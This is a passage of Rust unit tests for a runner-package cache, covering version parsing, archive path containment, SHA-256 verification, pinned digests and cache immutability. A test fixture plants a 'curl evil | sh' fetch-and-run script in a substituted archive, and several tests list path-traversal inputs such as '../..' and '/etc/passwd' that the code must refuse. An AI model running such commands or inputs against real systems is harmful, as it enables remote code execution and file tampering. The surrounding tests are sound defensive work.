2741            self.calls.fetch_add(1, Ordering::SeqCst);
2742            let answer = self.answer.lock().unwrap().clone();
2743            match answer {
2744                Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
2745                Answer::Rejected => Err(PackageError::VersionRejected {
2746                    version: None,
2747                    detail: Some("the runner version is no longer supported".to_string()),
2748                }),
2749                Answer::Unavailable => Err(PackageError::CatalogUnavailable {
2750                    detail: "502 Bad Gateway".to_string(),
2751                }),
2752            }
2753        }
2754    }
2755
2756    #[derive(Debug)]
2757    struct FakeFetcher {
2758        payload: Mutex<Vec<u8>>,
2759        /// Every `(url, destination)` this fetcher was asked for, in order.
2760        calls: Mutex<Vec<(String, PathBuf)>>,
2761        /// Destinations that genuinely existed on disk immediately after the
2762        /// fetch returned. This is what stops the "partial file is removed"
2763        /// assertion from passing over a file that was never created.
2764        wrote: Mutex<Vec<PathBuf>>,
2765        fail: Mutex<bool>,
2766    }
2767
2768    impl FakeFetcher {
2769        fn with(payload: Vec<u8>) -> Arc<Self> {
2770            Arc::new(Self {
2771                payload: Mutex::new(payload),
2772                calls: Mutex::new(Vec::new()),
2773                wrote: Mutex::new(Vec::new()),
2774                fail: Mutex::new(false),
2775            })
2776        }
2777
2778        fn serve(&self, payload: Vec<u8>) {
2779            *self.payload.lock().unwrap() = payload;
2780        }
2781
2782        fn calls(&self) -> Vec<(String, PathBuf)> {
2783            self.calls.lock().unwrap().clone()
2784        }
2785
2786        fn count(&self) -> usize {
2787            self.calls.lock().unwrap().len()
2788        }
2789
2790        fn wrote(&self) -> Vec<PathBuf> {
2791            self.wrote.lock().unwrap().clone()
2792        }
2793    }
2794
2795    #[async_trait::async_trait]
2796    impl PackageFetcher for FakeFetcher {
2797        async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
2798            self.calls
2799                .lock()
2800                .unwrap()
2801                .push((url.to_string(), destination.to_path_buf()));
2802            if *self.fail.lock().unwrap() {
2803                return Err(PackageError::Download {
2804                    detail: "connection reset".to_string(),
2805                });
2806            }
2807            let payload = self.payload.lock().unwrap().clone();
2808            fs::write(destination, &payload).expect("the fake fetcher writes its payload");
2809            assert!(
2810                destination.is_file(),
2811                "the fake fetcher must actually create the file, or every \
2812                 assertion about removing it is vacuous"
2813            );
2814            self.wrote.lock().unwrap().push(destination.to_path_buf());
2815            Ok(payload.len() as u64)
2816        }
2817    }
2818
2819    // -- harness -----------------------------------------------------------
2820
2821    struct Harness {
2822        _dir: tempfile::TempDir,
2823        paths: AppPaths,
2824        catalog: Arc<FakeCatalog>,
2825        fetcher: Arc<FakeFetcher>,
2826        clock: Arc<FakeClock>,
2827    }
2828
2829    impl Harness {
2830        fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
2831            let dir = tempfile::tempdir().expect("a temporary root");
2832            let paths = AppPaths::rooted_at(dir.path());
2833            Self {
2834                _dir: dir,
2835                paths,
2836                catalog: FakeCatalog::with(downloads),
2837                fetcher: FakeFetcher::with(payload),
2838                clock: Arc::new(FakeClock::default()),
2839            }
2840        }
2841
2842        fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
2843            self.catalog = catalog;
2844            self
2845        }
2846
2847        fn cache(&self) -> PackageCache {
2848            self.cache_for(Os::Linux, Arch::X64)
2849        }
2850
2851        fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
2852            PackageCache::new(
2853                &self.paths,
2854                os,
2855                arch,
2856                CachePorts {
2857                    catalog: self.catalog.clone(),
2858                    fetcher: self.fetcher.clone(),
2859                    backoff: Arc::new(NoBackoff),
2860                    clock: self.clock.clone(),
2861                },
2862            )
2863        }
2864    }
2865
2866    /// One `.tar.gz` package published for `linux/x64`, with the digest GitHub
2867    /// would have published for those exact bytes.
2868    fn linux_fixture() -> (Harness, Vec<u8>, String) {
2869        let payload = tar_gz_bytes(&package_entries());
2870        let digest = hex_digest(&payload);
2871        let downloads = vec![published(
2872            "linux",
2873            "x64",
2874            "2.330.0",
2875            ".tar.gz",
2876            Some(&digest),
2877        )];
2878        (Harness::new(downloads, payload.clone()), payload, digest)
2879    }
2880
2881    /// Every path under `root`, for asserting that nothing landed somewhere.
2882    fn all_paths(root: &Path) -> Vec<String> {
2883        fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
2884            let Ok(entries) = fs::read_dir(dir) else {
2885                return;
2886            };
2887            for entry in entries.flatten() {
2888                let path = entry.path();
2889                out.push(
2890                    path.strip_prefix(base)
2891                        .unwrap_or(&path)
2892                        .to_string_lossy()
2893                        .replace('\\', "/"),
2894                );
2895                if path.is_dir() {
2896                    walk(base, &path, out);
2897                }
2898            }
2899        }
2900        let mut out = Vec::new();
2901        walk(root, root, &mut out);
2902        out.sort();
2903        out
2904    }
2905
2906    fn version(raw: &str) -> RunnerVersion {
2907        RunnerVersion::parse(raw).expect("a well-formed test version")
2908    }
2909
2910    // =====================================================================
2911    // Value types: the version is a path component, so parsing it is a
2912    // security control rather than a convenience.
2913    // =====================================================================
2914
2915    #[test]
2916    fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
2917        for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
2918            assert!(
2919                RunnerVersion::parse(good).is_ok(),
2920                "`{good}` should parse as a version"
2921            );
2922        }
2923        // Everything here would be a usable path component, a traversal, or an
2924        // absolute path if it reached `Path::join`.
2925        for bad in [
2926            "",
2927            ".",
2928            "..",
2929            "../..",
2930            "2",
2931            "2.330.0.1.2",
2932            "a.b",
2933            "2.330.x",
2934            "2/330",
2935            "2\\330",
2936            "/2.330.0",
2937            "C:2.330.0",
2938            "2.330.0 ",
2939            " 2.330.0",
2940            "2..0",
2941            "2.330.0/../..",
2942        ] {
2943            assert!(
2944                RunnerVersion::parse(bad).is_err(),
2945                "`{bad}` must be refused: it becomes a directory name"
2946            );
2947        }
2948    }
2949
2950    #[test]
2951    fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
2952        // The property the parser exists to buy. Asserted over the *dangerous*
2953        // candidates as well as the good ones: a version that parses is a
2954        // version that becomes a directory name, so the interesting claim is
2955        // "nothing that parses can escape", not "this one good value is fine".
2956        //
2957        // Asserting it over `2.330.0` alone was decorative — it stayed green
2958        // through a mutation that made `parse` accept `..`, because `2.330.0`
2959        // is a safe component whatever the parser does.
2960        for candidate in [
2961            "2.330.0",
2962            "2.9",
2963            "1.2.3.4",
2964            "",
2965            ".",
2966            "..",
2967            "../..",
2968            "2",
2969            "a.b",
2970            "2/330",
2971            "2\\330",
2972            "/2.330.0",
2973            "C:2.330.0",
2974            "2..0",
2975            "2.330.0/../..",
2976        ] {
2977            let Ok(parsed) = RunnerVersion::parse(candidate) else {
2978                continue;
2979            };
2980            let joined = Path::new("root").join(parsed.as_str());
2981            assert_eq!(
2982                joined.components().count(),
2983                2,
2984                "`{candidate}` parsed but adds more than one path component"
2985            );
2986            assert!(
2987                !joined
2988                    .components()
2989                    .any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
2990                "`{candidate}` parsed but introduces a traversal or a root"
2991            );
2992        }
2993    }
2994
2995    #[test]
2996    fn versions_order_numerically_not_lexically() {
2997        assert!(version("2.9.0") < version("2.10.0"));
2998        assert!(version("2.330.0") > version("2.329.9"));
2999    }
3000
3001    #[test]
3002    fn a_version_is_read_out_of_the_published_filename() {
3003        // GitHub's runner-downloads response carries no version field; the
3004        // filename is the only signal there is.
3005        assert_eq!(
3006            RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
3007            version("2.330.0")
3008        );
3009        assert_eq!(
3010            RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
3011            version("2.330.0")
3012        );
3013        // The fixture `c3` ships, so this module and that one agree on shape.
3014        let fixture = gh::download("osx", "arm64");
3015        assert_eq!(
3016            RunnerVersion::from_filename(&fixture.filename).unwrap(),
3017            version("2.330.0")
3018        );
3019    }
3020
3021    #[test]
3022    fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
3023        for bad in [
3024            "actions-runner-linux-x64-2.330.0.rar",
3025            "actions-runner-linux-x64-2.330.0",
3026            "actions-runner-linux-x64-2.330.0.tar.xz",
3027        ] {
3028            let error = RunnerVersion::from_filename(bad).unwrap_err();
3029            assert!(
3030                matches!(error, PackageError::UnsupportedArchive { .. }),
3031                "`{bad}` should be an unsupported archive, got {error:?}"
3032            );
3033            assert!(error.is_terminal());
3034        }
3035    }
3036
3037    #[test]
3038    fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
3039        let upper = "A".repeat(64);
3040        assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
3041        for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
3042            assert!(
3043                Sha256Hex::parse(bad).is_err(),
3044                "`{bad}` is not a SHA-256 digest"
3045            );
3046        }
3047    }
3048
3049    #[test]
3050    fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
3051        // The failure mode this parse exists to prevent: an `sha256:`-prefixed
3052        // or truncated value compared as a string can never equal a real
3053        // digest, so verification would refuse every package forever while
3054        // looking like it worked.
3055        let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
3056        assert!(matches!(error, PackageError::MalformedDigest { .. }));
3057        assert!(error.is_terminal());
3058        assert!(error.operator_action().is_some());
3059    }
3060
3061    // =====================================================================
3062    // Path containment. Lexical, because it must answer for paths that do
3063    // not exist yet.
3064    // =====================================================================
3065
3066    #[test]
3067    fn containment_answers_for_paths_that_do_not_exist() {
3068        let root = Path::new("/cache/packages");
3069        assert!(is_inside(root, Path::new("/cache/packages")));
3070        assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
3071        assert!(!is_inside(root, Path::new("/cache")));
3072        assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
3073        assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
3074        // A `..` anywhere makes the lexical answer untrustworthy, so it is
3075        // never reported as contained.
3076        assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
3077    }
3078
3079    #[test]
3080    fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
3081        let root = Path::new("/cache/staging/root");
3082        assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
3083        assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
3084        for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
3085            let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
3086            assert!(
3087                matches!(error, PackageError::UnsafeArchiveEntry { .. }),
3088                "`{escape}` must be refused, got {error:?}"
3089            );
3090        }
3091    }
3092
3093    // =====================================================================
3094    // DoD 1 — the selected package matches the host, and an unsupported pair
3095    // is refused before any download.
3096    // =====================================================================
3097
3098    #[tokio::test]
3099    async fn the_entry_matching_this_host_is_the_one_downloaded() {
3100        let payload = tar_gz_bytes(&package_entries());
3101        let digest = hex_digest(&payload);
3102        // Three published packages; only one is this host's. The decoys carry
3103        // the same digest so that picking the wrong one would still verify —
3104        // the test must fail on *selection*, not on the checksum.
3105        let harness = Harness::new(
3106            vec![
3107                published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3108                published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
3109                published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3110            ],
3111            payload,
3112        );
3113        let cache = harness.cache_for(Os::Linux, Arch::X64);
3114
3115        let installed = cache.ensure_installed().await.expect("an install");
3116
3117        assert_eq!(installed.version(), &version("2.330.0"));
3118        let calls = harness.fetcher.calls();
3119        assert_eq!(calls.len(), 1);
3120        assert!(
3121            calls[0]
3122                .0
3123                .contains("actions-runner-linux-x64-2.330.0.tar.gz"),
3124            "the linux/x64 package should have been fetched, not `{}`",
3125            calls[0].0
3126        );
3127    }
3128
3129    #[tokio::test]
3130    async fn each_documented_host_selects_its_own_published_package() {
3131        // The selection path is exercised for every documented pair on every CI
3132        // leg, because the format is derived from the filename rather than from
3133        // the host this test happens to run on.
3134        for (os, arch, token_os, token_arch, extension) in [
3135            (Os::Windows, Arch::X64, "win", "x64", ".zip"),
3136            (Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
3137            (Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
3138        ] {
3139            let payload = if extension == ".zip" {
3140                zip_bytes(&package_entries())
3141            } else {
3142                tar_gz_bytes(&package_entries())
3143            };
3144            let digest = hex_digest(&payload);
3145            let harness = Harness::new(
3146                vec![
3147                    published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3148                    published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3149                    published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
3150                ],
3151                payload,
3152            );
3153            let cache = harness.cache_for(os, arch);
3154
3155            let installed = cache
3156                .ensure_installed()
3157                .await
3158                .unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
3159
3160            let url = &harness.fetcher.calls()[0].0;
3161            assert!(
3162                url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
3163                "{os}/{arch} fetched `{url}`"
3164            );
3165            assert!(installed.root().join("run.sh").is_file());
3166        }
3167    }
3168
3169    #[tokio::test]
3170    async fn an_undocumented_host_is_refused_before_anything_is_requested() {
3171        let (harness, _, _) = linux_fixture();
3172        // `Arm32` is documented on Linux only; Windows on ARM32 is not a pair
3173        // this product supports.
3174        let cache = harness.cache_for(Os::Windows, Arch::Arm32);
3175
3176        let error = cache.ensure_installed().await.unwrap_err();
3177
3178        assert!(matches!(error, PackageError::UnsupportedHost(_)));
3179        assert!(error.is_terminal());
3180        assert!(error.operator_action().is_some());
3181        assert_eq!(
3182            harness.catalog.calls(),
3183            0,
3184            "an unsupported pair must be refused before the catalog is consulted"
3185        );
3186        assert_eq!(
3187            harness.fetcher.count(),
3188            0,
3189            "an unsupported pair must be refused before any download"
3190        );
3191    }
3192
3193    #[tokio::test]
3194    async fn a_host_github_publishes_nothing_for_is_refused_rather_than_guessed() {
3195        let payload = tar_gz_bytes(&package_entries());
3196        let digest = hex_digest(&payload);
3197        // GitHub publishes only Windows; this host is Linux.
3198        let harness = Harness::new(
3199            vec![published("win", "x64", "2.330.0", ".zip", Some(&digest))],
3200            payload,
3201        );
3202        let cache = harness.cache_for(Os::Linux, Arch::X64);
3203
3204        let error = cache.ensure_installed().await.unwrap_err();
3205
3206        assert!(matches!(error, PackageError::NoPackagePublished { .. }));
3207        assert!(error.is_terminal());
3208        assert_eq!(
3209            harness.fetcher.count(),
3210            0,
3211            "no package published must never fall back to a hardcoded URL"
3212        );
3213    }
3214
3215    // =====================================================================
3216    // DoD 2 — bytes that do not match are rejected and NOT extracted, and
3217    // the partial download is removed.
3218    // =====================================================================
3219
3220    #[tokio::test]
3221    async fn bytes_that_do_not_match_the_published_digest_are_never_extracted() {
3222        let (harness, published_bytes, published_digest) = linux_fixture();
3223        // A well-formed archive with different bytes: the substitution
3224        // `07-security.md` names as the threat, and the one thing only the
3225        // SHA-256 can refuse. A truncated archive would fail at the extractor
3226        // instead, and a test built on one would pass with no digest check at
3227        // all — `a3`'s installer suite learned that the hard way.
3228        let substituted = tar_gz_bytes(&[("run.sh", "#!/bin/sh\ncurl evil | sh\n")]);
3229        assert_ne!(
3230            hex_digest(&substituted),
3231            published_digest,
3232            "the substituted archive must differ from the published one"
3233        );
3234        assert_ne!(substituted, published_bytes);
3235        // It is a *valid* archive: extraction alone would accept it happily,
3236        // which is exactly why only the digest can refuse it.
3237        assert!(
3238            tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
3239                substituted.clone()
3240            )))
3241            .entries()
3242            .map(|entries| entries.count() == 1)
3243            .unwrap_or(false),
3244            "the substituted archive must be well formed, or this test proves \
3245             nothing about the checksum"
3246        );
3247        harness.fetcher.serve(substituted);
3248        let cache = harness.cache().with_retry_budget(1);
3249
3250        let error = cache.ensure_installed().await.unwrap_err();
3251
3252        let inner = match &error {
3253            PackageError::Exhausted { source, .. } => source.as_ref(),
3254            other => other,
3255        };
3256        assert!(
3257            matches!(inner, PackageError::ChecksumMismatch { .. }),
3258            "expected a checksum mismatch, got {error:?}"
3259        );
3260        assert_eq!(
3261            inner.failure_reason(),
3262            Some(FailureReason::RunnerPackageUnverified)
3263        );
3264
3265        // Not extracted: no entry, and no version directory at all.
3266        assert!(cache.installed().unwrap().is_empty());
3267        assert!(
3268            !cache.root().join("2.330.0").exists(),
3269            "a rejected package must leave no version directory behind; found {:?}",
3270            all_paths(cache.root())
3271        );
3272        // Nothing anywhere under the cache root resembles an extracted runner.
3273        let leftovers = all_paths(cache.root());
3274        assert!(
3275            !leftovers.iter().any(|path| path.ends_with("run.sh")),
3276            "nothing from the archive may have been unpacked; found {leftovers:?}"
3277        );
3278    }
3279
3280    #[tokio::test]
3281    async fn the_unverified_download_is_removed_from_disk() {
3282        let (harness, _, _) = linux_fixture();
3283        harness
3284            .fetcher
3285            .serve(tar_gz_bytes(&[("run.sh", "substituted\n")]));
3286        let cache = harness.cache().with_retry_budget(1);
3287
3288        let error = cache.ensure_installed().await.unwrap_err();
3289        assert!(error.failure_reason().is_some());
3290
3291        // The fetcher asserts internally that it created the file, and records
3292        // the path only after that assertion. Without this, "the file is gone"
3293        // would be true of a file that never existed.
3294        let wrote = harness.fetcher.wrote();
3295        assert_eq!(wrote.len(), 1, "the fetcher must have written exactly once");
3296        assert!(
3297            !wrote[0].exists(),
3298            "the unverified download at {:?} must have been removed",
3299            wrote[0]
3300        );
3301
3302        // And no other copy of it survives anywhere in the cache.
3303        let leftovers = all_paths(cache.root());
3304        assert!(
3305            !leftovers.iter().any(|path| path.ends_with(".archive")),
3306            "no downloaded archive may survive a mismatch; found {leftovers:?}"
3307        );
3308    }
3309
3310    #[tokio::test]
3311    async fn a_checksum_mismatch_is_retryable_and_clean_bytes_still_install() {
3312        // `03-control-flows.md`: a download checksum failure is retried with
3313        // bounded backoff. The usual cause is a truncated transfer, and the
3314        // next attempt gets clean bytes.
3315        let (harness, good, _) = linux_fixture();
3316        harness
3317            .fetcher
3318            .serve(tar_gz_bytes(&[("run.sh", "truncated\n")]));
3319        let cache = harness.cache().with_retry_budget(3);
3320
3321        // First: three attempts, all bad, budget exhausted.
3322        let error = cache.ensure_installed().await.unwrap_err();
3323        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3324        assert_eq!(
3325            harness.fetcher.count(),
3326            3,
3327            "a mismatch is retryable, so the budget should have been spent"
3328        );
3329
3330        // Then: the same cache, with the bytes GitHub actually published.
3331        harness.fetcher.serve(good);
3332        let installed = cache.ensure_installed().await.expect("clean bytes install");
3333        assert_eq!(installed.version(), &version("2.330.0"));
3334    }
3335
3336    // =====================================================================
3337    // DoD 3 — an absent checksum fails closed and names the remedy; an
3338    // operator-pinned digest then succeeds.
3339    // =====================================================================
3340
3341    #[tokio::test]
3342    async fn an_absent_published_checksum_refuses_to_install_and_names_the_remedy() {
3343        let payload = tar_gz_bytes(&package_entries());
3344        // `c3` ships this fixture precisely so this branch is reachable.
3345        let without = gh::download_without_checksum("linux", "x64");
3346        assert!(without.sha256_checksum().is_none());
3347        let harness = Harness::new(vec![without], payload);
3348        let cache = harness.cache();
3349
3350        let error = cache.ensure_installed().await.unwrap_err();
3351
3352        assert!(
3353            matches!(
3354                error,
3355                PackageError::ChecksumAbsent {
3356                    published: PublishedChecksum::Absent,
3357                    ..
3358                }
3359            ),
3360            "expected an absent checksum, got {error:?}"
3361        );
3362        assert!(error.is_terminal(), "failing closed is never retryable");
3363        assert_eq!(
3364            error.failure_reason(),
3365            Some(FailureReason::RunnerPackageUnverified)
3366        );
3367        let action = error.operator_action().expect("a terminal error acts");
3368        assert!(
3369            action.contains("pin"),
3370            "the remedy must name pinning, got `{action}`"
3371        );
3372        assert!(
3373            error.to_string().contains("Pin the digest"),
3374            "the message must name the remedy: `{error}`"
3375        );
3376        assert_eq!(
3377            harness.fetcher.count(),
3378            0,
3379            "an unverifiable package must not be downloaded at all"
3380        );
3381    }
3382
3383    #[tokio::test]
3384    async fn an_empty_published_checksum_is_reported_as_empty_rather_than_absent() {
3385        // `c3` keeps absent and empty apart deliberately; both are unusable,
3386        // but they are different facts about GitHub's response and the operator
3387        // is owed the one that happened.
3388        let payload = tar_gz_bytes(&package_entries());
3389        let harness = Harness::new(
3390            vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(""))],
3391            payload,
3392        );
3393
3394        let error = harness.cache().ensure_installed().await.unwrap_err();
3395
3396        assert!(
3397            matches!(
3398                error,
3399                PackageError::ChecksumAbsent {
3400                    published: PublishedChecksum::Empty,
3401                    ..
3402                }
3403            ),
3404            "expected an empty checksum, got {error:?}"
3405        );
3406        assert!(error.to_string().contains("an empty sha256_checksum"));
3407    }
3408
3409    #[tokio::test]
3410    async fn an_operator_pinned_digest_installs_what_github_published_no_checksum_for() {
3411        let payload = tar_gz_bytes(&package_entries());
3412        let digest = hex_digest(&payload);
3413        let harness = Harness::new(
3414            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3415            payload,
3416        );
3417        let cache = harness.cache().with_pins(
3418            PinnedDigests::new()
3419                .pin("2.330.0", &digest)
3420                .expect("a well-formed pin"),
3421        );
3422
3423        let installed = cache.ensure_installed().await.expect("a pinned install");
3424
3425        assert_eq!(installed.version(), &version("2.330.0"));
3426        assert_eq!(installed.digest().as_str(), digest);
3427        assert!(installed.root().join("run.sh").is_file());
3428    }
3429
3430    #[tokio::test]
3431    async fn a_pinned_digest_is_a_digest_to_check_not_a_check_to_skip() {
3432        // The failure this asserts against is the obvious misreading of
3433        // "require an operator-pinned digest": treating the presence of a pin
3434        // as permission to install whatever arrives.
3435        let payload = tar_gz_bytes(&package_entries());
3436        let harness = Harness::new(
3437            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3438            payload,
3439        );
3440        let cache = harness.cache().with_retry_budget(1).with_pins(
3441            PinnedDigests::new()
3442                .pin("2.330.0", &"a".repeat(64))
3443                .unwrap(),
3444        );
3445
3446        let error = cache.ensure_installed().await.unwrap_err();
3447
3448        let inner = match &error {
3449            PackageError::Exhausted { source, .. } => source.as_ref(),
3450            other => other,
3451        };
3452        assert!(
3453            matches!(inner, PackageError::ChecksumMismatch { .. }),
3454            "a wrong pin must still refuse, got {error:?}"
3455        );
3456        assert!(cache.installed().unwrap().is_empty());
3457    }
3458
3459    #[tokio::test]
3460    async fn a_pin_for_a_different_version_does_not_unlock_this_one() {
3461        let payload = tar_gz_bytes(&package_entries());
3462        let digest = hex_digest(&payload);
3463        let harness = Harness::new(
3464            vec![published("linux", "x64", "2.330.0", ".tar.gz", None)],
3465            payload,
3466        );
3467        // The operator confirmed 2.320.0, not 2.330.0.
3468        let cache = harness
3469            .cache()
3470            .with_pins(PinnedDigests::new().pin("2.320.0", &digest).unwrap());
3471
3472        let error = cache.ensure_installed().await.unwrap_err();
3473
3474        assert!(matches!(error, PackageError::ChecksumAbsent { .. }));
3475        assert_eq!(harness.fetcher.count(), 0);
3476    }
3477
3478    #[tokio::test]
3479    async fn a_malformed_published_checksum_refuses_and_says_it_was_malformed() {
3480        // The third unusable shape, and the one that used to name a remedy the
3481        // operator could not carry out: it returned `MalformedDigest` from a
3482        // path where the pin was never consulted, while telling them to pin.
3483        let payload = tar_gz_bytes(&package_entries());
3484        for bad in ["sha256:9f86d081884c7d65", &"a".repeat(63), "not a digest"] {
3485            let harness = Harness::new(
3486                vec![published("linux", "x64", "2.330.0", ".tar.gz", Some(bad))],
3487                payload.clone(),
3488            );
3489
3490            let error = harness.cache().ensure_installed().await.unwrap_err();
3491
3492            assert!(
3493                matches!(
3494                    error,
3495                    PackageError::ChecksumAbsent {
3496                        published: PublishedChecksum::Malformed,
3497                        ..
3498                    }
3499                ),
3500                "`{bad}` should be reported as malformed, got {error:?}"
3501            );
3502            assert!(error.is_terminal());
3503            assert_eq!(
3504                error.failure_reason(),
3505                Some(FailureReason::RunnerPackageUnverified)
3506            );
3507            assert!(
3508                error.to_string().contains("a malformed sha256_checksum"),
3509                "the operator is owed the shape that actually arrived: `{error}`"
3510            );
3511            assert_eq!(harness.fetcher.count(), 0);
3512        }
3513    }
3514
3515    #[tokio::test]
3516    async fn a_malformed_published_checksum_is_rescued_by_an_operator_pin() {
3517        // The remedy the refusal names has to be one that works. Every unusable
3518        // shape — absent, empty, malformed — routes to the pin.
3519        let payload = tar_gz_bytes(&package_entries());
3520        let digest = hex_digest(&payload);
3521        let harness = Harness::new(
3522            vec![published(
3523                "linux",
3524                "x64",
3525                "2.330.0",
3526                ".tar.gz",
3527                Some("sha256:9f86d081884c7d65"),
3528            )],
3529            payload,
3530        );
3531        let cache = harness
3532            .cache()
3533            .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3534
3535        let installed = cache
3536            .ensure_installed()
3537            .await
3538            .expect("a pin rescues a malformed published checksum");
3539
3540        assert_eq!(installed.digest().as_str(), digest);
3541        assert!(installed.root().join("run.sh").is_file());
3542    }
3543
3544    #[tokio::test]
3545    async fn every_unusable_published_checksum_shape_names_the_same_workable_remedy() {
3546        let payload = tar_gz_bytes(&package_entries());
3547        let digest = hex_digest(&payload);
3548        for (raw, expected) in [
3549            (None, PublishedChecksum::Absent),
3550            (Some(""), PublishedChecksum::Empty),
3551            (Some("nonsense"), PublishedChecksum::Malformed),
3552        ] {
3553            let downloads = vec![published("linux", "x64", "2.330.0", ".tar.gz", raw)];
3554
3555            // Without a pin: refused, and the message names pinning.
3556            let harness = Harness::new(downloads.clone(), payload.clone());
3557            let error = harness.cache().ensure_installed().await.unwrap_err();
3558            assert!(
3559                matches!(
3560                    &error,
3561                    PackageError::ChecksumAbsent { published, .. } if *published == expected
3562                ),
3563                "{expected:?}: got {error:?}"
3564            );
3565            assert!(error.operator_action().unwrap().contains("pin"));
3566
3567            // With a pin: installed. This is the assertion that makes the
3568            // remedy true rather than merely stated.
3569            let harness = Harness::new(downloads, payload.clone());
3570            let cache = harness
3571                .cache()
3572                .with_pins(PinnedDigests::new().pin("2.330.0", &digest).unwrap());
3573            cache
3574                .ensure_installed()
3575                .await
3576                .unwrap_or_else(|error| panic!("{expected:?} should be pinnable: {error}"));
3577        }
3578    }
3579
3580    // =====================================================================
3581    // DoD 4 — a cache entry is never mutated after extraction, and a second
3582    // install of the same version is a no-op.
3583    // =====================================================================
3584
3585    #[tokio::test]
3586    async fn a_second_install_of_the_same_version_rewrites_nothing() {
3587        let (harness, _, _) = linux_fixture();
3588        let cache = harness.cache();
3589
3590        let first = cache.ensure_installed().await.expect("the first install");
3591        assert_eq!(harness.fetcher.count(), 1);
3592        assert_eq!(harness.catalog.calls(), 1);
3593
3594        // Past the freshness window, with the SAME version still published.
3595        //
3596        // Advancing only past `check_interval` is not enough, and measuring
3597        // that is what fixed this test: the entry then still sits inside the
3598        // freshness window, so deleting the already-installed short-circuit
3599        // changed nothing — the freshness branch returned the same cached entry
3600        // and the test stayed green through a mutation that should have killed
3601        // it. Past the window that branch no longer covers, and the entry
3602        // short-circuit is the only thing between this call and a re-download.
3603        harness
3604            .clock
3605            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3606
3607        let second = cache.ensure_installed().await.expect("the second install");
3608
3609        assert_eq!(second.version(), first.version());
3610        assert_eq!(second.root(), first.root());
3611        assert_eq!(
3612            harness.catalog.calls(),
3613            2,
3614            "the published version should have been re-checked"
3615        );
3616        // THIS is the assertion that proves the no-op, and it is the only one
3617        // here that can distinguish a no-op from a re-install.
3618        //
3619        // An earlier version of this test also planted a marker file inside the
3620        // entry and compared a `(len, mtime, digest)` snapshot before and
3621        // after, and presented all three as proof. Two of the three could not
3622        // fail. The commit point is a single `fs::rename` onto the version
3623        // directory, which cannot replace a non-empty directory on any platform
3624        // this product targets — so even with the short-circuit deleted, the
3625        // rename fails, `entry()` answers `Some`, and the existing entry is
3626        // returned untouched. The marker survives and the snapshot matches for
3627        // a reason that has nothing to do with the branch under test. Three
3628        // legs that read as triple-proof and were single-proof is worse than
3629        // one honest leg, so the other two are gone.
3630        //
3631        // The immutability property they were reaching for is real and is
3632        // pinned separately, by `the_commit_rename_never_replaces_an_existing_
3633        // entry` below, which asserts the platform behaviour this design rests
3634        // on and *can* fail if it ever stops holding.
3635        assert_eq!(
3636            harness.fetcher.count(),
3637            1,
3638            "a version already held must not be downloaded again"
3639        );
3640    }
3641
3642    #[test]
3643    fn the_commit_rename_never_replaces_an_existing_entry() {
3644        // The assumption the whole immutability claim rests on, asserted
3645        // directly instead of being inferred from an install that would not
3646        // have exercised it.
3647        //
3648        // `download_verify_and_install` commits by renaming a staging directory
3649        // onto `packages/<version>/`. If that rename could clobber a populated
3650        // directory, an entry would be mutable after it landed and every
3651        // runtime copied from it could change underfoot. It cannot — and this
3652        // is where that stops being a comment.
3653        let dir = tempfile::tempdir().expect("a temporary root");
3654        let existing = dir.path().join("2.330.0");
3655        fs::create_dir_all(existing.join("bin")).unwrap();
3656        fs::write(existing.join("run.sh"), b"the original").unwrap();
3657        let replacement = dir.path().join("staging");
3658        fs::create_dir_all(&replacement).unwrap();
3659        fs::write(replacement.join("run.sh"), b"the replacement").unwrap();
3660
3661        let result = fs::rename(&replacement, &existing);
3662
3663        assert!(
3664            result.is_err(),
3665            "renaming onto a populated entry must fail, or entries are mutable"
3666        );
3667        assert_eq!(
3668            fs::read_to_string(existing.join("run.sh")).unwrap(),
3669            "the original",
3670            "the existing entry's contents must survive"
3671        );
3672        assert!(
3673            existing.join("bin").is_dir(),
3674            "the existing entry's structure must survive"
3675        );
3676    }
3677
3678    #[tokio::test]
